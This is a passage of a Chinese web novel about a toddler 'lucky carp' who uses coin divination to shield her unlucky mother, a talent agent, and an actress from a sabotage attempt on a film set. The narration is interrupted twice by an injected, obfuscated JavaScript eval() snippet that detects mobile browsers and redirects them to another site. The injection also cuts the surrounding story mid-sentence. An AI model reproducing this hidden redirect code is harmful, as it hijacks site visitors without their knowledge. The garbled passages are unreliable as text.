《妈妈才不会一直倒霉》 1. 霉运缠身 “action!” 高昂的喊声落地,圆滚滚的团子眼睛亮晶晶地踮起脚尖朝声源处望去。 无视众人视线中心的演员,知鲤的目光只停留在抱着大衣向这边走来的黎棠身上。 知道这是工作场合,幼崽并没有高声呼喊,只是快乐地挥舞着小胳膊,企图吸引自家妈妈的注意力。 对上黎棠的目光,幼崽眉眼都弯了起来,迈着小短腿摇摇摆摆地去迎接她最爱的妈妈。 刚迈出几步就见即将走到她身边的黎棠脚下踉跄差点儿栽倒,好不容易站稳,脑门却被一迎头而来的保温瓶砸中,白皙的额头瞬间红肿。 知鲤的小心脏顿时悬起,快步朝黎棠跑去。 “麻麻,麻麻!” 黎棠无奈地苦笑一声,接受“肇事者”道歉,俯身接住扑过来的幼崽。 “知知宝贝慢点儿,摔倒了多疼啊。” 幼崽置若罔闻,一脸心疼地看着自家妈妈而上鲜红的肿包,踮起脚凑过去使劲儿吹吹。 “痛痛飞走,痛痛飞走,麻麻不怕。” 三岁半幼崽刚变聪明不久,口齿称得上伶俐,发音却有些含糊,听起来格外地可爱。 黎棠的心都化了,摸摸幼崽的小脑袋,感受到毛绒绒的小脑袋在手心拱了拱,面上的笑容变得愈发温柔。 无形中吸引了不少人的目光,路过的工作人员看了一眼便匆匆离开,仿佛是躲避瘟疫似的。 即使在俊男美女遍地走的剧组,黎棠也引人注目的存在,不仅仅在于那张软萌漂亮的娃娃脸和与周身沉稳坚毅的气场,更在于她那各种奇葩的倒霉经历。 知鲤注意到这一点气呼呼地跺跺脚,瞪了刚才的工作人员一眼,丧气地垂下小脑袋。 不该是这样的。 她的麻麻是天地孕育的锦鲤,本该气运厚重,福泽绵长,得天地宠爱,被世人欢喜,本该是这世上最幸运最幸福的人,却为了女儿的平安降生献祭全身福运。 成为霉运缠身,所有皆失,所愿皆空的人。 “知知宝贝怎么不开心啦?” 黎棠敏锐地察觉到幼崽情绪异常,温柔地抱着她走到休息区角落坐下柔声询问。 知鲤瞅瞅小鼻子抱住黎棠的脖子,“麻麻对不起,都是知知的错,知知再也不是最厉害的小锦鲤了。” 黎棠愣了一瞬,连忙将小黏糕抱进怀里温柔地凝望着幼崽的目光,声音也放缓许多。 “知知宝贝为什么要道歉?” “别人不喜欢麻麻,都是知知的错。” 小奶音低低,听起来格外难过。 黎棠叹了口气,认真地看向知鲤,“知知认为别人的喜欢很重要嘛?” 知鲤疑惑,“不重要嘛?” 小锦鲤从化形伊始便是周围人的小宝贝,大家喜欢她,宠爱她,永远会乐呵呵地看着她调皮捣蛋。 这是锦鲤以生俱来的天性,知鲤无法接受本该被喜爱着的黎棠成为大家排斥的对象。 “重要,也不重要。” 黎棠含笑捏捏知鲤软软的小脸,眉目柔和,“妈妈问你,别人不喜欢妈妈,妈妈会过得不开心嘛?” 知鲤摸着小下巴想想黎棠云淡风轻的模样摇摇头。 “别人喜欢妈妈,妈妈会不会变得幸运起来呢?” 知鲤想想黎棠被公司打压,被同行嘲讽的经历,皱巴着小脸摇摇头。 她知道黎棠的倒霉是因为气运,与其他人的喜欢与否无关。 也知道那些打压和嘲讽都是大人间的利益与嫉妒,同样与其他人是否喜欢无关。 黎棠的唇角不自觉上扬几分,看着知鲤的小脸再次发问:“既然毫无影响,知知宝宝为什么要在意别人喜不喜欢妈妈呢?” 见幼崽歪着小脑袋思考,黎棠忍着笑趁热打铁。 “知知没有错,如果没有知知,妈妈的世界会是一片荒芜,知知是上天送给妈妈最珍贵的礼物,是妈妈的宝贝,妈妈不需要别人的喜欢,我们家有知知一个被人喜爱的小锦鲤就够了。” 知鲤好半天才将这段漫长的告白消化完毕,抽着小鼻子像树袋熊似的抱着黎棠掰手指。 “那,那以后大家喜欢知知,知知就最喜欢麻麻,这样就等于麻麻也被大家喜欢啦!” 独属于小朋友的神奇逻辑让黎棠忍不住笑出声,亲亲知鲤嫩嫩的小胖脸,因公司使绊子而愤怒的心情也平和几分。 但该面对的现实还是要面对,抿唇思索良久,黎棠还是认真看向知鲤。 “明曦的助理可能来不了,妈妈还是得过去帮她,知知乖乖待在这里好不好?” 知鲤愣了一瞬,奶呼呼的声音充满疑惑。 “为什么没有助理呀?曦曦姐姐不是已经接到戏了嘛?坏叔叔们明明说过,姐姐能演戏就会给姐姐安排工作人员哒!” 说到最后,小家伙的声音微微拔高,颇有种义愤填膺的意味。 “他们还那样欺负麻麻和曦曦姐姐,我好生气呀!” 黎棠梳头发的手一顿,脸上不自觉带上一丝冷笑,那些人当时确实是说过这样的话。 但……朝令夕改、信口雌黄、欺压下属也是他们做惯了的。 只要那个企图潜规则明曦的投资人不倒,只要明曦还没有离开公司,合约到期之前,这样明目张胆的压迫就不会少。 当时,这是黎棠与幼崽之间绝对的禁忌话题。 想起明曦这部戏是知鲤“算”来的,黎棠眼皮跳了跳,十分干脆地转移话题。 “宝宝,明曦新给你找的小龟壳和铜钱好用吗?” 没见识的知鲤小朋友瞬间上当,迈着小短腿跑到保姆车的安全座椅旁,取出跟她小手差不多大的小龟壳得意洋洋地炫耀。 “可好用啦,我决定原谅曦曦姐姐了。” 黎棠想起两人之前的小别扭忍不住笑笑,只当没听见这句话,迅速给知鲤的小辫子收了尾。 “好了,知知真是个漂亮的宝宝。” “麻麻也是最漂亮的麻麻,我最爱麻麻啦!” 母女俩甜言蜜语说了好一会儿,黎棠再次提及刚才被岔开的话题。 “明曦那边已经转了片场,妈妈现在得过去看着,知知可不可以乖乖待在这里?妈妈跟向影后说过了,她的小助理会过来照顾你。” 之所以感这么安排完全出自幼崽与生俱来的社牛天分。 长相甜美可爱的社牛小锦鲤,天生就拥有被人宠爱的特权。 抵达剧组仅仅一周的时间,附近的演员和工作人员都认识了这个嘴甜又调皮的小家伙,甚至在黎棠明曦不在时主动担起了照顾知鲤的责任。 经常会送来各种补品零食投喂。 开拍两个月以来,黎棠明曦都消瘦不少,反而知鲤以肉眼可见的速度圆润起来,整颗崽看上去圆滚滚的格外讨喜。 因为幼崽的存在,黎棠和明曦也跟剧组演员熟悉起来。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059930|195020||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我不可以继续看曦曦姐姐拍戏嘛?” 知鲤见黎棠额上气息缓慢凝聚还有些开心,听到黎棠的提议小嘴立马耷拉下来,几乎把“不情愿”三个字写在脸上。 “接下来不可以哦。” 眼见小家伙眉眼都皱成一团,黎棠叹了口气俯身凑到知鲤面前认真解释。 “明曦接下来要转去b组仓库拍打戏,片场乱糟糟的,小朋友待在那里会很危险。” 知鲤拽着黎棠的衣袖,不死心地哼哼,“那,那人家可以待在角落。” “不可以!知知不是答应妈妈要做乖宝宝了嘛?” 知鲤抬头望着黎棠认真的模样,就知道再闹下去也不会有结果,撅着嘴还是一脸不情愿地答应。 “那麻麻再摸摸知知的小脑袋。” 黎棠当然不会拒绝女儿小小的要求,摸摸她毛绒绒的小脑袋,再次温声安抚。 “知知乖,妈妈很快就回来,想妈妈了就给妈妈打电话。” 知鲤掀掀眼皮,有气无力地应了一声。 黎棠无奈,叹了口气俯身亲亲知鲤的小胖脸,又认真叮嘱几句才一步三回头地离开。 短短一段路,黎棠莫名其妙地踉跄三次,险些被人撞倒四次,差点儿被鸟屎砸中两次…… 倒霉到诡异的离谱经历看得知鲤心惊肉跳,见黎棠一一避开便知是刚才的“摸摸头”发挥作用。 松了口气,知鲤望着黎棠离开的方向莫名不安,想了想就抱着小龟壳和铜钱走到保姆车车尾视线死角。 确定无人注意,知鲤肉嘟嘟的小脸变得肃穆起来,盘腿坐下后小背脊笔直,捧起放好铜钱的龟壳认真地摇晃起来。 一边摇,一边嘀嘀咕咕地念叨着极具韵律感却晦涩难懂的卜辞。 知鲤的意识在玄妙的环境中漂浮,直到听到铜钱落地的声音才悄悄睁开眼。 凑到连成一串铜钱面前念念叨叨,知鲤小脸隐隐发白。 “怎么会这样呀,麻麻刚刚摸知知小脑袋了,怎么还有血光之灾呀?” 黎棠气运耗空,霉运缠身,注定多灾多难,稍有不慎便会受伤生病,她的“血光之灾”较之常人更甚。 如果说普通人的血光之灾是流血受伤,那黎棠的血光之灾就可能危及生命。 这可不是“摸摸头”招福能轻易改变的。 知鲤的小心脏像被一只大手狠狠攥住,闷胀的疼痛让她浑身难受,恨不得化身招福挂件挂在黎棠身上。 “我是天生福运的锦鲤宝宝,呆在麻麻身边,说不定可以帮忙避开祸端哒.....” 知鲤抱着小龟壳不安地来回踱步,大眼睛也是亮了又黯。 “可麻麻说片场危险,知知不可以待在那里,我是听妈妈话的守信宝宝……” 三岁半的奶团子在地上画圈圈,画着画着合掌惊呼。 “麻麻说知知不可以待在片场,又没有说我不能找麻麻。” “麻麻在片场,而我只是刚好去找麻麻才去片场,并不是待在片场……所以我还是麻麻的乖宝宝!” 用神奇逻辑说服自己,知鲤的表情又变的有些得意,“有小锦鲤知知在,麻麻才不会一直倒霉。” 嘀嘀咕咕说完,知鲤收好龟壳和铜钱,避开向影后的小助理,摇摇摆摆地朝片场走去。 只可惜,人无完人。 幸运值爆棚的知鲤知鲤小朋友却是个十足的小路痴,溜了几圈后终究是在剧组纷繁的布景中迷了路。 2. 征兆 知鲤掰着手指头点点这条路,又指指那条路,纠结许久都没有找到方向。 瘪着小嘴想了想,干脆再次摇起小龟壳,把自己的命运交给上天。 而上天似乎格外偏爱这只小锦鲤,几枚铜钱落地连成歪歪扭扭的线,刚好指向右边一个布景片场。 捡起散落的铜钱,知鲤挺直小腰板,晃晃悠悠朝片场走去。 片场背景似是一个码头的废弃货仓,场中除了各种生锈铁架子上厚重的箱子,空中还悬挂着陈旧的木质箱子。 看那钢筋紧绷的样子就能感受到箱子的重量,仿佛下一秒就会掉下来似的。 知鲤小身子抖抖,避开不远处尖锐的道具,路过另一侧道具堆积的地方时听到熟悉的名字,忍不住侧着身子朝里看去。 “我记得明曦也就刚出道的时候火了一段时间吧,怎么就突然出演安导的女一号了?总觉得有点问题啊。” “啧,这你就不知道了吧,圈内都知道明曦因得罪金总被公司软封杀,能拿到女一号肯定是背后付出了什么,女人啊,想成功就是容易,只要豁得出去!” 说话的是一个男人,即使看不到他的表情,也能从说话语气中感受他此刻的轻蔑与嫉妒,知鲤小眉头顿时皱了起来。 “说的也是,明曦除了一张脸能看,背景、名气哪里比得过我们依依姐?女一号最合适的人选明明是依依姐才对。” 说话的人带着点极易被忽视的引导性,知鲤竖着耳朵往里面挪了挪。 “说的是啊,依依那样和善的人才适合女一号,我刚才去她那里搬道具,她还给我分水果呢。” “啊,那你的运气可真好,依依姐出了名的和气。明曦就不行了,她那个经纪人黎棠你知道吧,这女的我刚才看见了,长得是真好看,但听说私生活十分不检点。” “那个黎棠啊,我当然知道,最年轻的金牌经纪人嘛,好多年轻艺人她都带过呢。我还听说她未婚先孕生了个痴痴傻傻的女儿,两岁都不会说话呢。” 说话的人不屑地嗤了一声,显然越说越来劲儿。 “这事儿我知道,听说她那女儿痴傻就是因为她乱搞,她之前带的人你知道是谁不?沈顶流!据说沈顶流就是无法接受她的潜规则才选择改换经纪人的!” “我当然知道!这事当年闹得轰轰烈烈,圈内谁人不知啊,她还被称‘圈内老鸨’呢,她当年怎么没被丢进监狱啊?也就明曦和他们公司不讲究,竟然留着这样的老鼠屎,啧啧啧。” “那可不,你说这个黎棠到底在清高什么?” 说话人声音依旧阴郁,却也放缓了些,似乎是期待另一人顺着他的话往下说。 “‘清高’这个词精准,我兄弟看黎棠长得好看想追她,结果你猜怎么着,她一个一无所有的破经纪人还拿乔,口口声声要陪女儿没有时间,我看就是欲擒故纵…她以为她还是当年那个金牌经纪人啊?!?” 知鲤年纪小不懂这些污言秽语,但她能感受到这两个男人言语间的恶意。 听到“老鼠屎”三个字就准备冲上去跟他们大骂三百回合。 听到后面那句“陪女儿没时间”又得意起来,哼哼一声挺起胸膛气势汹汹地走过去。 “哼,我是麻麻最爱的宝贝,麻麻当然要陪我啦,你们这两个坏人不许说麻麻和曦曦姐姐!” 突如其来的小奶音把两个搬弄是非的男人吓了一跳,脸色微微发青,看到还没到成人大腿的低矮幼崽时,嘴角忍不住抽搐,被吓得萎靡的气势又高昂起来。 “这是谁家毛孩子,断奶了吗就敢这么跟大人说话?” 两人凑近知鲤才注意到两人额头。 眼见一人额上气息杂糅,深灰色气息夹杂着丝丝血色渐渐凝聚,最终汇成厚重的黑色,与其脸上遍布的鲜红痘痘交相缠绕,凝成一种诡异至极的浊气。 知鲤瞳孔不自觉放大,忍不住往后退了几步。 气运受各方面影响会呈现各种颜色。比如,大气运者的气息呈紫色,财运好的人气息是金色,普通人的气息是白色。 黑色…则意味着护体气息即将崩溃消散,也就是这人倒大霉的前兆。 至于满脸怪异的红痘也是周身气息杂糅,血气运转受阻所致,算是的霉运缠身躯体化反应。 而血丝纠缠的黑色气息…… 半吊子小神棍愣了一瞬就想起大和尚说的气运染血,代表此人不是好人,不要随意靠近。 寒意侵袭,知鲤浑身汗毛炸起,迈着小短腿往后退了好几步,确定安全才鼓着脸气势汹汹地瞪着他们。 “我早就不喝奶啦,告诉你哦,别想着害人,否则你会倒大霉的!” “嘿,这是谁家的熊孩子,竟然敢咒我,找揍呢!” 知鲤的危险感知雷达迅速发挥作用,再次迈着小短腿后退,两只胖胳膊挡在跟前做防御状,望向来人的目光也变得诧异万分。 此人脸色带着病态苍白衬得眼下阴影更重,额上泛白的气息转灰,竟隐隐与另一人额上血色黑气呈纠缠之势。 两人纠缠的气息触及了小神棍知识盲区,困惑的目光在两人身上来回逡巡,忍不住猜测。 “哎呀,你们两个是不是准备一起去做坏事啊?告诉你们哦,你们的运气很糟糕,一起做了坏事会变坏坏的。” 顿了顿,望向额上灰色气息缠绕的男人,“还有你,不要害人哦,你要是真跟他一起做了坏事会一无所有哒!” 被点名的男人一时愣住,反而是那个被黑气缠绕的男人面色难看,冰冷而阴鸷地盯着知鲤。 “知知!” 周遭萦绕不散的恶意让冒充神棍的知鲤打个寒颤,听到身后夹杂怒意和担忧的声音,小家伙的身体瞬间僵直。 带着乖巧讨好的笑容转过身朝匆匆赶来的黎棠身上扑去,嘴里不要钱似的输出甜言蜜语。 “麻麻呀,温柔又漂亮的麻麻是知知的呦,知知最爱不打小孩子屁屁的麻麻啦!” 暗示意味过于明显,黎棠因担忧而升腾的火气也被幼崽这声声甜言蜜语灭得一干二净,咬牙切齿地掐了掐她的脸。 “你啊,就知道胡说八道糊弄我。” 知鲤连连摇头表忠心,“没有没有,知知是最诚实、最乖巧的宝宝,从来不会糊弄人哒~” 被女儿蹭得没脾气的黎棠无奈地叹了口气,犹豫片刻便放弃了送孩子回去的想法。 跟向影后的小助理说明情况后。就俯身将软乎乎的知鲤小朋友抱起来四下看了一圈。 “你刚才在跟谁说话?” “在跟...咦,那两个坏蛋呢?” 知鲤准备黎棠告状,才发现那两个男人不知何时已经悄然离开,小眉头顿时就皱了起来。 “怎么了?” 知鲤摇摇头,绘声绘色地把之前算命的事和遇见两个男人的事告诉了黎棠。 至于那两人口中的污言秽语则被没听懂的幼崽随口带过。 黎棠朝知鲤跑过来的地方瞥了眼,眉心不自觉皱起,那里是剧组道具师休 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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知鲤浑身汗毛都竖了起来,伸出两只小手牢牢护住两侧脸颊,警惕地盯着明曦的手。 这完全是应激反应,每次明曦说话的腔调变成这样时,知鲤的小脸就会像粘土似的被她捏来捏去。 明曦有些失望地耸耸肩望向知鲤,“咱们打个商量呗。” 知鲤保持与明曦之间的距离,警惕道:“什么呀?” “也没什么,就是我不叫你调皮鬼,你也不能喊我‘姨姨’,以后乖乖叫姐姐知道吗?” 知鲤歪歪小脑袋,“你...你说真的?” “当然。” 知鲤依旧保持与明曦之间的距离,捂着脸颊伸出右手小拇指,“那拉勾勾。” 明曦愣了一下无奈笑笑,伸手勾住知鲤的小指,学着幼崽说话的腔调念完那句幼稚至极的约定。 一大一小勾着手指认真约定的样子透着几分童稚的美好。 偏有人喜欢在这种不恰当的时候刷存在感,两人的手指还没有放下,身后就传来一道阴阳怪气的女声。 “明曦妹妹,在安导的片场跟小朋友玩耍是不是不太好?这里毕竟是片场不是游乐园。” 知鲤扭头,看到身后那位清丽可人的美人面时疑惑地歪歪脑袋,一时想不起来这人是谁。 “姚依依。” 3. 血光之灾 听到这个名字知鲤才想起那两个即将倒霉的男人口中的“依依姐”。 知鲤的小脑袋瓜儿迅速运转起来,一边回想着刚才那两个男人的对话,一边细细打量这位传闻中比明曦更适合当女一号的姚依依。 感受到幼崽的注视,姚依依习惯性地挺直了背脊,葱白的手指轻轻撩开鬓边长发露出纤白的脖颈。 轻柔的动作带着别样的风情,更衬得姚依依清丽动人。 “明曦妹妹,女一号戏份重,你真的不需要背台词吗?我记得这场戏你的台词很多。” “词是很多,依依姐背过了?” 明曦唇角微扬,望向姚依依的目光带着些戏谑,她拍戏的时候这位总会在旁观望,还时不时指点一番,想替她出演女一号之心不死。 因姚依依毫不遮掩,剧组大多数人都知道姚依依背词的时候“顺手”背了女一号的词。 “哎呀,我是为了拍戏的时候更顺畅一些才背了两个人的词,明曦妹妹不会生气了吧?” 说着,姚依依轻掩朱唇,漂亮的眼中是掩饰不住的恶劣与期待。 “姚小姐不必如此,阿曦与你的对手戏不过两场,你背阿曦的台词属实浪费,若真想拍摄过程顺畅,不如背沈顶流的台词,你的戏份基本都与他有关。” 黎棠含笑说完后也不管姚依依什么反应,转身看向已经从椅子上站起身的明曦。 “接下来是你的打戏,拍完后要立刻上伤妆,你跟化妆师对一下。” 明曦漫不经心的气质瞬间收敛,像只软萌的黑猫似的乖巧应下,拉着化妆师去找导演。 被忽视的姚依依气得磨牙,依旧笑着望向黎棠。 “黎大经纪人连艺人的正常社交也要干涉吗?我记得沈顶流就是因为你的过度干涉才选的王哥呢,你现在管明曦这么严,下一步该不会像安排沈顶流那样,给明曦安排金主吧?” 黎棠在姚依依面上停留片刻,似笑非笑开口。 “姚小姐,道听途说不可信,一个艺人想走得更远光有漂亮的脸蛋可不够,还得要有脑子才行,不然很容易被人当枪使。” “你在说我笨!” 姚依依瞬间瞪圆眼睛,白皙的脸颊染上浅浅的粉色,显出一种别样的美丽。 黎棠凝望她几秒,忍不住叹了口气,“我没有这么说。” “你就是这个意思!黎棠你这样的行业毒瘤做经纪人对艺人而言就是灾难,你最好赶紧离开这个行业,你不配!” 知鲤并不太理解大人之间的对话,但她能感受到姚依依对黎棠的厌恶与恶意。 小家伙瞬间不乐意了,大眼睛直勾勾地盯着姚依依。 姚依依被幼崽直白而灼热的目光盯得绷不住,顾不得黎棠的反应,硬生生挤出招牌微笑回望过去。 “小朋友为什么一直看着姐姐?” 知鲤眨眨眼睛甜甜一笑,小奶音清甜绵软。 “因为姨姨很漂亮呀,我喜欢漂亮姨姨啦,漂亮姨姨喜不喜欢知知呀?姨姨不喜欢我的话,我会难过的,所以姨姨一定要可喜欢我呀,这样我就更喜欢姨姨啦。” 说着,知鲤小朋友似模似样地垂下小脑袋做出一副被伤了心的表情来,看得一旁的黎棠眼皮疯狂跳动,瞥向知鲤的目光都变得怪异。 这小家伙的嘴巴泡过蜜罐子,见到路边买包子的大婶都会乖巧叫声“漂亮姐姐”。 如今对着格外在意美貌的姚依依接二连三喊“姨姨”,说她不是故意的,黎棠根本不信。 只怕姚依依要被小家伙气死。 而事实正如黎棠预料的那样,姚依依的美人面在幼崽一声又一声的“姨姨”中扭曲起来。 “你……” “明曦准备好了吗?马上要拍了。” “等等,安导,再检查一下道具吧,这里重物太多,开拍磕碰到总是不好。” 知鲤小耳朵一动,见黎棠边说边朝导演走去,也不管姚依依什么反应,迈着小短腿追过去,把刚才算命的结果告诉明曦。 “棠棠姐有血光之灾?是在这个片场里?” “我不知道。” 听到这个回答明曦立即意识到说错话了,连忙捏捏知鲤的小脸,趁她还没来得及失落之前及时出声。 “好了黎知鲤小朋友,既然来了就好好看姐姐演戏,姐姐拍打戏可是超帅的哦~” “帅?” 小脑袋瓜只有一根筋的知鲤宝宝被转移了注意力,瞥了眼不远处正吊着威亚缓缓落地的演员,又认真地看了一眼明曦身后的威亚绳便疑惑地歪头问道。 “是说像猴子一样在空中荡来荡去嘛?” 接着又在明曦僵硬的笑容中,知鲤顶着纠结又怀疑的小表情真诚地发出疑问。 “可动物园里的猴子不用那个怪怪的绳子就可以到处飞,你当时还说它是泼猴,它明明比人厉害,那个泼猴也帅嘛?” “之前去动物园你就记得那只臭猴子在树上来回窜了是吧?” 明曦磨着牙狠狠掐了把知鲤的脸,在小家伙不情愿的目光中恨恨嘀咕,“就多余安慰你。” 知鲤一边揉脸一边提问,使原就含糊的小奶音更加含糊,“你在唆(说)神马(什么)?” “妹唆神马(没说什么),赶紧去旁边坐着,姐姐我要去拍戏了。” 明曦听到身后导演的呼唤,学着她怪异的腔调,嫌弃地将知鲤推进刚刚走过来的黎棠怀里。 “反正,反正麻麻和曦曦姐姐都要小心,要特别小心!” 知鲤在自家妈妈馨香的怀里拱了拱,终究没有忘记自己的使命,小脑袋在黎棠和明曦之间转来转去,生怕她们不重视,还抓着两人的衣服晃来晃去。 明曦唇角微扬,蹲下身揉揉知鲤的小脑袋,“知道了知鲤小朋友,快回去吧。” 得到明曦的回答,知鲤又转头期待地看向黎棠,再次得到肯定的回答才放下心,牵着妈妈的手摇摇摆摆走外围。 而黎棠的心一直悬着,即使站在安导身旁眼睛一眨不眨地盯着场中的明曦,生怕出现任何一丝意外。 然而,直到明曦流畅地完成一整套高难度动作,直到安导嘹亮地喊出“卡”场中都没有出现一丝意外。 场中的明曦对这边露出了明媚灿烂的笑容,知鲤哼哼一声挥挥手以示回应,抬头就看到黎棠紧紧皱成一团的眉。 “麻麻?” “知知乖,妈妈带化妆师哥哥去给明曦补妆,知知在这里不要动好不好?” 其实补妆的时候她完全可以不上场,但不知为何,她的心里总是十分不安,迟疑一瞬还是决定亲自过去,也顺便检查一下明曦身上的威亚。 “好,知知乖乖的,麻麻要小心呀。” 黎棠摸摸知鲤的小脸就快步往明曦的方向走去。 化妆师拿着刷子在明曦脸上涂抹的时候,黎棠站在明曦身旁四下张望,目光不经意间看到角落中那个满脸红色痘痘的男人,顺着他的视线朝明曦头上望去,看到那个摇摇欲坠的厚重木箱以及...木箱上即将崩裂的钢索。 黎棠瞳孔骤然紧缩,迅速侧身朝木箱下的明曦抓去,而明曦的动作也很快在头顶发出怪 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“麻,麻麻?” 小家伙声音带着点哭腔,黎棠心里一揪一揪地疼,摸着她的小脑袋连声安抚。 “是妈妈,妈妈没事,知知不怕啊。” “真的没事嘛?” 知鲤偷偷抹去眼角的泪花,再抬脸已经变成那颗坚强勇敢的幼崽,拍拍胸脯表示自己根本没怕后凑近黎棠的身边认真“端详”。 黎棠裤腿上全是飞溅的不明液体,怕伤到知鲤,她根本没敢让小家伙靠近,只允许她围着自己查看。 她刚才准备拉开明曦的时候,明曦已经起身拽住化妆师飞快往后退,这就导致三人之间呈黎棠拉明曦,明曦拽化妆师,而唯一一个被异变惊呆了的化妆师茫然地被两人从危机中救了出来。 眼下并非解释这些的时候,黎棠看着知鲤顶着红彤彤的大眼睛装坚强,无奈地笑笑,任由她像颗小卫星似的围着自己转圈。 直到小家伙停止动作才温声开口,“妈妈真的没事,现在信了吧?” “信啦。” 知鲤盯着黎棠裤腿上晕开的痕迹,小嘴瘪成鸭子。 “脏东西欺负麻麻啦,知知不开心。” 软萌萌的小奶音让黎棠的心软成一团,想抱抱小家伙,却怕身上的不明液体伤到她,犹疑间,明曦低沉压抑的声音在身边响起。 “棠棠姐,你刚才几乎挡下了所有的液体,先去处理一下吧。那些东西还不确定是什么,万一是什么有害液体放任不管对你不好,我会照顾好知知的,放心吧。” 黎棠应了一声却没有立即走开,轻笑着望向黑着脸的安导,“安导,这是谋杀,我要报警。” 这明显是针对明曦的杀招,报警是必然的,但安导是明曦的贵人,也是她敬重的业内前辈,于情于理都该把她的打算跟安导说一下。 正在安排人守住片场出入口的安导听到这话愣了一瞬,严肃刻板的面容似乎柔和下来,语气也显得平和舒缓。 “我同意报警,你放心,有我在明曦的戏份不会受影响。” “安导,这样不好吧?” 安导话音刚落另一边便传来副导演焦急的劝阻。 “如果报警,剧组势必要配合调查,耽误的时间怎么办?资方那边不好交代,且这只是一场有惊无险的意外,没有人受伤就好,若闹得太过把记者招来就不好了。” “意外?” 4. 送你符 黎棠望着一脸厌烦的副导演微微眯眼,余光掠过副导演身后瘪着嘴窃窃私语的工作人员,唇角的笑意也冷了几分。 踩高捧低是圈内惯例,今天的箱子若是差点儿砸在那位沈顶流身上,这些人只会担心报警太晚,根本不会是如今这般态度。 说白了,她和明曦的价值不够被副导演这类人放在眼里。 或许这些人的轻视,也与她们平日过度忍让有关系。 开拍以来,对于他们那些上不得台面的嘲讽和小动作,黎棠都看在安导顶着压力让明曦演女一的份上忍了,唯有这件事情无法容忍。 黎棠鼻尖似乎还停留着箱子坠落时掀起的冷风,耳畔还回响着铅球砸在地上的沉闷回响...... 她甚至不敢想,若是没有知鲤的提前预警,那些东西砸在她和明曦身上会如何,她的女儿,她那么小那么软的女儿看到妈妈和熟悉的姐姐倒在血泊里会是什么反应。 仅仅想想黎棠就心痛地无法呼吸。 哪怕赌上一切,黎棠都不想放过制造这场事端的凶手,无论对方是棋子,还是主使者,必须为他今日的举动付出代价。 “那铅球有篮球那么大,砸在人脑袋上可不得出人命嘛,不调查清楚我们这些人怎么敢放心拍戏?谁都怕下一场‘意外’的主角是自己啊。” 黎棠诧异地朝声源处望去,正对上姚依依那张皱巴在一起的美人面,两人目光对上,姚依依还冲黎棠翻了个大大的白眼。 “看什么,我只是担心在场的同行而已,毕竟人身安全比什么都重要。” 黎棠挑了挑眉没有接话,任由姚依依继续跟副导演对话。 副导演脸色黑了黑,面向姚依依时态度柔和几分。 “可是依依啊,这是我们剧组的事情没必要报警,剧组内部调查就好……” 心知同被圈内法则腌入味的副导演无法沟通,黎棠早就放弃同对方做无意义的辩驳,也不再听这边无谓的争论,直接拨通了报警电话,将这边发生的一切告知警方后又将刚才看到红痘痘男人的事情告诉明曦和安导。 这才在明曦无奈的催促中去处理身上不明液体。 “知知小朋友,你要在这里cos望妈石?棠棠姐很快就回来了。” 知鲤的小脑袋瓜儿里不断回放着箱子砸在地面之时,眼前浮现那片缥缈又虚幻的画面。 画面中,同样的片场,同样的人,同样的箱子落地,却没有人及时发现不对,箱子砸了下来。 砸在将明曦护在怀里的黎棠身上,鲜红的血液渗出,飞溅的液体溅入伤口,黎棠痛苦地闷哼之后彻底昏死过去。 明曦被黎棠护住,伤势不重却不可避免地受到牵连,在医院躺了一月,也失去了好不容易得来的女一号。 而没来得及反应的化妆师哥哥在这场变故中伤了手,从此再也无法游刃有余地化出各种精美的妆容。 ...... 一切明明没有发生,却又那么真实。 这好像就是大和尚说的,人原本的命运轨迹会在被改变后,呈现在改变他们命运的人面前。 要小心,不要随意改变一个人的命运。 知鲤记得大和尚说这话的时候微微停顿,目光古怪地盯着她嘀咕什么福泽厚重之人例外。 那些过于深奥,以知鲤目前的认知不能完全理解,只隐隐感觉到她当时看到是黎棠和明曦最初的命运轨迹。 可是...原本的轨迹中知知去了哪里呢? 知鲤总觉得遗忘了什么东西,茫然地眨眨眼睛,顺着明曦的声音,从那段奇异的画面和各种玄妙的猜想中爬出来,注意力立刻被转移,扬起小脑袋认真发问。 “曦曦姐姐,麻麻说的那个人就是害麻麻和姐姐的坏人嘛?” 明曦哄孩子的声音温柔,唇角的笑容却冷得瘆人,“不确定,但极有可能跟他有关。” “知知见过那个坏人哦。” 红痘痘男人的特点过于明显,聪明的知鲤宝宝歪着脑袋想了一会儿就对上了号,抿着嘴气呼呼地连连跺脚。 “坏蛋!欺负麻麻还骂麻麻,我好生气,好生气啊!” 小家伙跺脚的时候太用力,脚下一个趔趄差点儿摔倒,好在明曦眼疾手快将人扶住,看着她气成河豚的小胖脸心里那点郁气顿时消散不少。 “怎么还把自己气成小胖鱼了?” 看着小家伙泛着粉意的腮帮鼓鼓,明曦忍不住上手戳了又戳,没换来抗议却听到知鲤认真纠正。 “臭姨姨,我明明是最可爱的招福小锦鲤,才不是小胖鱼。” 明曦手指微顿,聪明地忽略知鲤“大逆不道”的称呼,继续逗小孩儿。 “好好好,招福小锦鲤,你会吐泡泡嘛?给姐姐表演个吐泡泡来。” 知鲤皱巴着小脸嫌弃地看着明曦,“吐泡泡是鱼宝宝会干的事,我已经是大宝宝了才不要吐泡泡。” 说着,知鲤仰起小下巴一脸骄傲,“我可厉害了,会招福,会用小龟壳算算(命),还会画符符!我用符符教训过坏人呢。” 顿了顿,知鲤眼睛咻得亮了起来,咧开小嘴乐滋滋地冲明曦伸出小胖手,“曦曦姐姐,我要纸和笔,要红笔!” 被幼崽百转千回的脑回路搞得懵圈的明曦嘴角抽搐一下,还是认命地站起来给知鲤找纸笔。 